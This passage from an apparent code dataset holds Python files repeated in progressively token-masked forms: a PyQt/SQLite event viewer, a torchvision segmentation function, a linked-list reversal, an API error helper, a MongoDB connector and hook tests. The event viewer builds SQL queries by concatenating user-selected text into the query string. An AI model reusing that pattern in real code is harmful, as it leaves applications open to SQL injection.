modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n<class token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n",
"<import token>\n<code token>\n<class token>\n\n\nclass Database:\n <function token>\n",
"<import token>\n<code token>\n<class token>\n<class token>\n"
] | false |
9,992 |
2193c97b7f1fcf204007c2528ecc47cbf3c67e81
|
import torch
import numpy as np
import cv2
import torchvision
from PIL import Image
def people_on_image(path_to_image):
color_map = [
(255, 255, 255), # background
(255, 255, 255), # aeroplane
(255, 255, 255), # bicycle
(255, 255, 255), # bird
(255, 255, 255), # boat
(255, 255, 255), # bottle
(255, 255, 255), # bus
(255, 255, 255), # car
(255, 255, 255), # cat
(255, 255, 255), # chair
(255, 255, 255), # cow
(255, 255, 255), # dining table
(255, 255, 255), # dog
(255, 255, 255), # horse
(255, 255, 255), # motorbike
(255, 0, 0), # person
(255, 255, 255), # potted plant
(255, 255, 255), # sheep
(255, 255, 255), # sofa
(255, 255, 255), # train
(255, 255, 255) # tv/monitor
]
trans = torchvision.transforms.Compose([
torchvision.transforms.Resize(540),
torchvision.transforms.CenterCrop(520),
torchvision.transforms.ToTensor(),
torchvision.transforms.Normalize(
(0.485, 0.456, 0.406), (0.229, 0.224, 0.225))])
model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)
model.eval()
image = Image.open(path_to_image)
image = trans(image)
image = image.unsqueeze(0)
out = model(image)
labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()
red_map = np.zeros_like(labels).astype(np.uint8)
green_map = np.zeros_like(labels).astype(np.uint8)
blue_map = np.zeros_like(labels).astype(np.uint8)
for label_num in range(0, len(color_map)):
index = labels == label_num
red_map[index] = np.array(color_map)[label_num, 0]
blue_map[index] = np.array(color_map)[label_num, 1]
green_map[index] = np.array(color_map)[label_num, 2]
ready_image = np.stack([red_map, green_map, blue_map], axis=2)
image = np.array(image)
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)
cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)
return ready_image
|
[
"import torch\r\nimport numpy as np\r\nimport cv2\r\nimport torchvision\r\nfrom PIL import Image\r\n\r\n\r\n\r\ndef people_on_image(path_to_image):\r\n\r\n color_map = [\r\n (255, 255, 255), # background\r\n (255, 255, 255), # aeroplane\r\n (255, 255, 255), # bicycle\r\n (255, 255, 255), # bird\r\n (255, 255, 255), # boat\r\n (255, 255, 255), # bottle\r\n (255, 255, 255), # bus\r\n (255, 255, 255), # car\r\n (255, 255, 255), # cat\r\n (255, 255, 255), # chair\r\n (255, 255, 255), # cow\r\n (255, 255, 255), # dining table\r\n (255, 255, 255), # dog\r\n (255, 255, 255), # horse\r\n (255, 255, 255), # motorbike\r\n (255, 0, 0), # person\r\n (255, 255, 255), # potted plant\r\n (255, 255, 255), # sheep\r\n (255, 255, 255), # sofa\r\n (255, 255, 255), # train\r\n (255, 255, 255) # tv/monitor\r\n ]\r\n trans = torchvision.transforms.Compose([\r\n torchvision.transforms.Resize(540),\r\n torchvision.transforms.CenterCrop(520),\r\n torchvision.transforms.ToTensor(),\r\n torchvision.transforms.Normalize(\r\n (0.485, 0.456, 0.406), (0.229, 0.224, 0.225))])\r\n\r\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\r\n model.eval()\r\n\r\n image = Image.open(path_to_image)\r\n image = trans(image)\r\n image = image.unsqueeze(0)\r\n out = model(image)\r\n\r\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\r\n\r\n red_map = np.zeros_like(labels).astype(np.uint8)\r\n green_map = np.zeros_like(labels).astype(np.uint8)\r\n blue_map = np.zeros_like(labels).astype(np.uint8)\r\n\r\n for label_num in range(0, len(color_map)):\r\n index = labels == label_num\r\n red_map[index] = np.array(color_map)[label_num, 0]\r\n blue_map[index] = np.array(color_map)[label_num, 1]\r\n green_map[index] = np.array(color_map)[label_num, 2]\r\n\r\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\r\n\r\n image = np.array(image)\r\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\r\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\r\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\r\n return ready_image\r\n\r\n",
"import torch\nimport numpy as np\nimport cv2\nimport torchvision\nfrom PIL import Image\n\n\ndef people_on_image(path_to_image):\n color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, \n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,\n 255), (255, 255, 255)]\n trans = torchvision.transforms.Compose([torchvision.transforms.Resize(\n 540), torchvision.transforms.CenterCrop(520), torchvision.\n transforms.ToTensor(), torchvision.transforms.Normalize((0.485, \n 0.456, 0.406), (0.229, 0.224, 0.225))])\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\n model.eval()\n image = Image.open(path_to_image)\n image = trans(image)\n image = image.unsqueeze(0)\n out = model(image)\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\n red_map = np.zeros_like(labels).astype(np.uint8)\n green_map = np.zeros_like(labels).astype(np.uint8)\n blue_map = np.zeros_like(labels).astype(np.uint8)\n for label_num in range(0, len(color_map)):\n index = labels == label_num\n red_map[index] = np.array(color_map)[label_num, 0]\n blue_map[index] = np.array(color_map)[label_num, 1]\n green_map[index] = np.array(color_map)[label_num, 2]\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\n image = np.array(image)\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\n return ready_image\n",
"<import token>\n\n\ndef people_on_image(path_to_image):\n color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255, \n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,\n 0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,\n 255), (255, 255, 255)]\n trans = torchvision.transforms.Compose([torchvision.transforms.Resize(\n 540), torchvision.transforms.CenterCrop(520), torchvision.\n transforms.ToTensor(), torchvision.transforms.Normalize((0.485, \n 0.456, 0.406), (0.229, 0.224, 0.225))])\n model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)\n model.eval()\n image = Image.open(path_to_image)\n image = trans(image)\n image = image.unsqueeze(0)\n out = model(image)\n labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()\n red_map = np.zeros_like(labels).astype(np.uint8)\n green_map = np.zeros_like(labels).astype(np.uint8)\n blue_map = np.zeros_like(labels).astype(np.uint8)\n for label_num in range(0, len(color_map)):\n index = labels == label_num\n red_map[index] = np.array(color_map)[label_num, 0]\n blue_map[index] = np.array(color_map)[label_num, 1]\n green_map[index] = np.array(color_map)[label_num, 2]\n ready_image = np.stack([red_map, green_map, blue_map], axis=2)\n image = np.array(image)\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)\n cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)\n return ready_image\n",
"<import token>\n<function token>\n"
] | false |
9,993 |
ff137b51ea5b8c21e335a38a3d307a3302921245
|
class Node:
def __init__(self,data):
self.data = data
self.next = None
def Add(Head,data):
Temp = Head
while(Temp.next != None):
Temp = Temp.next
Temp.next = Node(data)
# print(Temp.data)
def create(data):
Head = Node(data)
return Head
def printLL(Head):
Temp = Head
while(Temp != None):
# input()
print(Temp.data,end=" ")
Temp = Temp.next
print()
def Reverse(Head):
Temp = Head
TempNext = Head.next
# curr = TempNext
while(TempNext != None):
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
if __name__ == '__main__':
Head = create(5)
Add(Head,6)
Add(Head,7)
Add(Head,8)
Add(Head,9)
Add(Head,10)
printLL(Head)
NewHead = Reverse(Head)
printLL(NewHead)
|
[
"\nclass Node:\n def __init__(self,data):\n self.data = data\n self.next = None\n\ndef Add(Head,data):\n Temp = Head\n while(Temp.next != None):\n Temp = Temp.next\n Temp.next = Node(data)\n # print(Temp.data)\n\ndef create(data):\n Head = Node(data)\n return Head\n\ndef printLL(Head):\n Temp = Head\n while(Temp != None):\n # input()\n print(Temp.data,end=\" \")\n Temp = Temp.next\n print()\n\ndef Reverse(Head): \n Temp = Head\n TempNext = Head.next\n # curr = TempNext\n while(TempNext != None):\n NextSaved = TempNext.next\n TempNext.next = Temp\n \n Temp = TempNext\n TempNext = NextSaved\n \n Head.next = None\n Head = Temp\n return Head\n\nif __name__ == '__main__':\n Head = create(5)\n Add(Head,6)\n Add(Head,7)\n Add(Head,8)\n Add(Head,9)\n Add(Head,10)\n printLL(Head)\n NewHead = Reverse(Head)\n printLL(NewHead)\n\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\ndef printLL(Head):\n Temp = Head\n while Temp != None:\n print(Temp.data, end=' ')\n Temp = Temp.next\n print()\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\nif __name__ == '__main__':\n Head = create(5)\n Add(Head, 6)\n Add(Head, 7)\n Add(Head, 8)\n Add(Head, 9)\n Add(Head, 10)\n printLL(Head)\n NewHead = Reverse(Head)\n printLL(NewHead)\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\ndef printLL(Head):\n Temp = Head\n while Temp != None:\n print(Temp.data, end=' ')\n Temp = Temp.next\n print()\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\ndef Add(Head, data):\n Temp = Head\n while Temp.next != None:\n Temp = Temp.next\n Temp.next = Node(data)\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n\n\ndef create(data):\n Head = Node(data)\n return Head\n\n\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef Reverse(Head):\n Temp = Head\n TempNext = Head.next\n while TempNext != None:\n NextSaved = TempNext.next\n TempNext.next = Temp\n Temp = TempNext\n TempNext = NextSaved\n Head.next = None\n Head = Temp\n return Head\n\n\n<code token>\n",
"class Node:\n\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"class Node:\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n",
"<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,994 |
0ac14b023c51bfd1cf99bd2d991baa30a671e066
|
# _*_ coding: utf-8 _*_
from service import service_logger
from service.TaskService import TaskService
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
def to_dict(self):
res = dict(self.data or ())
res['msg'] = self.msg
res['code'] = self.code
return res
def error_handle(msg='', data=None):
service_logger.error(data={"msg": msg, "data": data})
raise ApiException(msg)
|
[
"# _*_ coding: utf-8 _*_\r\nfrom service import service_logger\r\nfrom service.TaskService import TaskService\r\n\r\nclass ApiException(Exception):\r\n\r\n def __init__(self, message, code=400, data=None):\r\n Exception.__init__(self, message)\r\n\r\n self.code = code\r\n self.msg = message\r\n self.data = data\r\n\r\n def __str__(self):\r\n return self.msg\r\n\r\n def to_dict(self):\r\n res = dict(self.data or ())\r\n res['msg'] = self.msg\r\n res['code'] = self.code\r\n\r\n return res\r\n\r\n\r\ndef error_handle(msg='', data=None):\r\n service_logger.error(data={\"msg\": msg, \"data\": data})\r\n raise ApiException(msg)",
"from service import service_logger\nfrom service.TaskService import TaskService\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\ndef error_handle(msg='', data=None):\n service_logger.error(data={'msg': msg, 'data': data})\n raise ApiException(msg)\n",
"<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\ndef error_handle(msg='', data=None):\n service_logger.error(data={'msg': msg, 'data': data})\n raise ApiException(msg)\n",
"<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n\n def to_dict(self):\n res = dict(self.data or ())\n res['msg'] = self.msg\n res['code'] = self.code\n return res\n\n\n<function token>\n",
"<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n\n def __str__(self):\n return self.msg\n <function token>\n\n\n<function token>\n",
"<import token>\n\n\nclass ApiException(Exception):\n\n def __init__(self, message, code=400, data=None):\n Exception.__init__(self, message)\n self.code = code\n self.msg = message\n self.data = data\n <function token>\n <function token>\n\n\n<function token>\n",
"<import token>\n\n\nclass ApiException(Exception):\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n",
"<import token>\n<class token>\n<function token>\n"
] | false |
9,995 |
aafdd228cf2859d7f013b088263eab544e19c481
|
import pymongo
from FlaskScripts.database.user_database import user
from FlaskScripts.database.blog_database import blog
myclient = {}
try:
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
mydb = myclient["jmitproject"]
user = user(mydb) # use user for users interaction
blog = blog(mydb) # use blog for blogs interaction
|
[
"import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n\nmydb = myclient[\"jmitproject\"]\n\nuser = user(mydb) # use user for users interaction\nblog = blog(mydb) # use blog for blogs interaction\n",
"import pymongo\nfrom FlaskScripts.database.user_database import user\nfrom FlaskScripts.database.blog_database import blog\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n",
"<import token>\nmyclient = {}\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\nmydb = myclient['jmitproject']\nuser = user(mydb)\nblog = blog(mydb)\n",
"<import token>\n<assignment token>\ntry:\n myclient = pymongo.MongoClient('mongodb://localhost:27017/')\n myclient.server_info()\n print('Database Connected')\nexcept:\n print('Database Error')\n<assignment token>\n",
"<import token>\n<assignment token>\n<code token>\n<assignment token>\n"
] | false |
9,996 |
c312bf096c7f4aaf9269a8885ff254fd4852cfe0
|
from mock import Mock
from shelf.hook.background import action
from shelf.hook.event import Event
from tests.test_base import TestBase
import json
import os
import logging
from pyproctor import MonkeyPatcher
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), "../../..")
self.logger = Mock()
MonkeyPatcher.patch(action, "create_background_logger", Mock(return_value=self.logger))
def create_data(self, command, event):
data = {
"command": command,
"log_level": logging.DEBUG,
"event": event,
"uri": "https://api.shelf.com/fake/artifact/1",
"meta_uri": "https://api.shelf.com/fake/artifact/1/_meta",
"cwd": self.cwd
}
return data
def create_stdout(self, data):
l = [
"SHELF_EVENT={0}".format(data["event"]),
"SHELF_URI={0}".format(data["uri"]),
"SHELF_META_URI={0}".format(data["meta_uri"])
]
return ", ".join(l)
def test_success(self):
data = self.create_data("./tests/bin/hook-test", Event.ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {
"stdout": self.create_stdout(data),
"stderr": "STDERR",
"exit_code": 0
}
self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data("./tests/bin/hook-test", "fail")
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {
"stdout": self.create_stdout(data),
"stderr": "STDERR",
"exit_code": 1
}
self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
|
[
"from mock import Mock\nfrom shelf.hook.background import action\nfrom shelf.hook.event import Event\nfrom tests.test_base import TestBase\nimport json\nimport os\nimport logging\nfrom pyproctor import MonkeyPatcher\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), \"../../..\")\n self.logger = Mock()\n MonkeyPatcher.patch(action, \"create_background_logger\", Mock(return_value=self.logger))\n\n def create_data(self, command, event):\n data = {\n \"command\": command,\n \"log_level\": logging.DEBUG,\n \"event\": event,\n \"uri\": \"https://api.shelf.com/fake/artifact/1\",\n \"meta_uri\": \"https://api.shelf.com/fake/artifact/1/_meta\",\n \"cwd\": self.cwd\n }\n\n return data\n\n def create_stdout(self, data):\n l = [\n \"SHELF_EVENT={0}\".format(data[\"event\"]),\n \"SHELF_URI={0}\".format(data[\"uri\"]),\n \"SHELF_META_URI={0}\".format(data[\"meta_uri\"])\n ]\n\n return \", \".join(l)\n\n def test_success(self):\n data = self.create_data(\"./tests/bin/hook-test\", Event.ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n\n expected_result = {\n \"stdout\": self.create_stdout(data),\n \"stderr\": \"STDERR\",\n \"exit_code\": 0\n }\n\n self.logger.debug.assert_called_with(\"Command Result: {0}\".format(json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data(\"./tests/bin/hook-test\", \"fail\")\n result = action.execute_command(**data)\n self.assertFalse(result)\n\n expected_result = {\n \"stdout\": self.create_stdout(data),\n \"stderr\": \"STDERR\",\n \"exit_code\": 1\n }\n\n self.logger.debug.assert_called_with(\"Command Result: {0}\".format(json.dumps(expected_result, indent=4)))\n",
"from mock import Mock\nfrom shelf.hook.background import action\nfrom shelf.hook.event import Event\nfrom tests.test_base import TestBase\nimport json\nimport os\nimport logging\nfrom pyproctor import MonkeyPatcher\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n\n def create_data(self, command, event):\n data = {'command': command, 'log_level': logging.DEBUG, 'event':\n event, 'uri': 'https://api.shelf.com/fake/artifact/1',\n 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',\n 'cwd': self.cwd}\n return data\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n self.assertFalse(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 1}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n",
"<import token>\n\n\nclass ExecuteCommandTest(TestBase):\n\n def setUp(self):\n super(ExecuteCommandTest, self).setUp()\n self.cwd = os.path.join(os.path.dirname(__file__), '../../..')\n self.logger = Mock()\n MonkeyPatcher.patch(action, 'create_background_logger', Mock(\n return_value=self.logger))\n\n def create_data(self, command, event):\n data = {'command': command, 'log_level': logging.DEBUG, 'event':\n event, 'uri': 'https://api.shelf.com/fake/artifact/1',\n 'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',\n 'cwd': self.cwd}\n return data\n\n def create_stdout(self, data):\n l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.\n format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]\n return ', '.join(l)\n\n def test_success(self):\n data = self.create_data('./tests/bin/hook-test', Event.\n ARTIFACT_UPLOADED)\n result = action.execute_command(**data)\n self.assertTrue(result)\n expected_result = {'stdout': self.create_stdout(data), 'stderr':\n 'STDERR', 'exit_code': 0}\n self.logger.debug.assert_called_with('Command Result: {0}'.format(\n json.dumps(expected_result, indent=4)))\n\n def test_failure(self):\n data = self.create_data('./tests/bin/hook-test', 'fail')\n result = action.execute_command(**data)\n 